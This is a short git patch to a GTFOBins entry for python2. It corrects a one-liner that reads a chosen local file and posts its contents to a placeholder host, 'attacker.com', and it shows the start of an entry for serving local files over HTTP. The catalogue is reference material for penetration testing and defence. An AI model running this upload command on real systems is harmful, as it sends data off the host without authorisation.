From d3659b5cc60342ffbfe234a672db46f3c9c69e1c Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 25 Sep 2018 20:35:44 +0100 Subject: [PATCH] Fix python2 upload --- _gtfobins/python2.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/_gtfobins/python2.md b/_gtfobins/python2.md index b019cdd..76eb6c9 100644 --- a/_gtfobins/python2.md +++ b/_gtfobins/python2.md @@ -13,7 +13,9 @@ functions: code: | export URL=http://attacker.com/ export LFILE=file_to_send - python2 -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))' + python2 -c 'import urllib as u,urllib2 as u2; + from os import environ as e; + u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))' - description: Serve files in the local folder running an HTTP server. code: | export LPORT=8888